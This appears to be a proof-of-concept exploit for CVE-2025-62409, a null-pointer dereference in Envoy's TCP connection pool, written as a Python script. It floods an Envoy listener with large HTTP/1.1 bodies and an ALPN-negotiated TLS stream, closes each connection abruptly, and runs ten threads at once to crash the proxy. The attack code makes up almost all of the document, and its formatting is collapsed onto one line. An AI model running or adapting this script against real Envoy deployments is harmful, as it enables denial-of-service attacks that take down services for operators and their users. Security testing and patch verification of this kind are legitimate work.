CVE-2025-62409 Envoy代理TCP连接池空指针引用拒绝服务漏洞

# CVE-2025-62409 PoC - Envoy TCP Connection Pool Crash via Null Pointer Dereference # This PoC demonstrates triggering the buffer watermark callback nullptr reference # by sending large requests/responses during connection closing with upstream data still flowing. import socket import ssl import threading import time TARGET_HOST = "127.0.0.1" TARGET_PORT = 10000 # Envoy listener port BUFFER_SIZE = 65536 LARGE_PAYLOAD_SIZE = 10 * 1024 * 1024 # 10MB to trigger flow control issues def send_large_data_then_close(): """ Establishes a connection to Envoy, sends a large payload, then abruptly closes while data is still being processed upstream. This triggers the buffer watermark callback nullptr dereference. """ try: # Create raw TCP connection (HTTP/1.x over ALPN-negotiated connection) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Send HTTP/1.1 request with large body to trigger flow control request = ( f"POST /upload HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" f"Content-Length: {LARGE_PAYLOAD_SIZE}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() sock.send(request) # Send large payload in chunks while connection is closing chunk = b"A" * BUFFER_SIZE sent = 0 while sent < LARGE_PAYLOAD_SIZE: try: sock.send(chunk) sent += len(chunk) except (BrokenPipeError, ConnectionResetError): # Connection closing while data still flowing - triggers the bug break # Force close to create the race condition sock.close() print(f"[+] Sent {sent} bytes, connection closed abruptly") except Exception as e: print(f"[-] Connection error: {e}") def trigger_http2_mixed(): """ Triggers the vulnerability via HTTP/1.x & HTTP/2 mixed ALPN scenario. """ try: context = ssl.create_default_context() context.set_alpn_protocols(['h2', 'http/1.1']) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Send large response-like data to trigger watermark issue large_data = b"X" * (5 * 1024 * 1024) sock.send(large_data) time.sleep(0.001) # Race condition window sock.close() print("[+] ALPN mixed scenario triggered") except Exception as e: print(f"[-] ALPN scenario error: {e}") if __name__ == "__main__": print("[*] CVE-2025-62409 PoC - Envoy TCP Connection Pool Crash") print(f"[*] Target: {TARGET_HOST}:{TARGET_PORT}") # Launch multiple concurrent connections to increase crash probability threads = [] for i in range(10): t = threading.Thread(target=send_large_data_then_close) threads.append(t) t.start() time.sleep(0.1) # Also trigger HTTP/2 mixed scenario t = threading.Thread(target=trigger_http2_mixed) threads.append(t) t.start() for t in threads: t.join() print("[*] PoC execution complete. Check Envoy logs for crash.")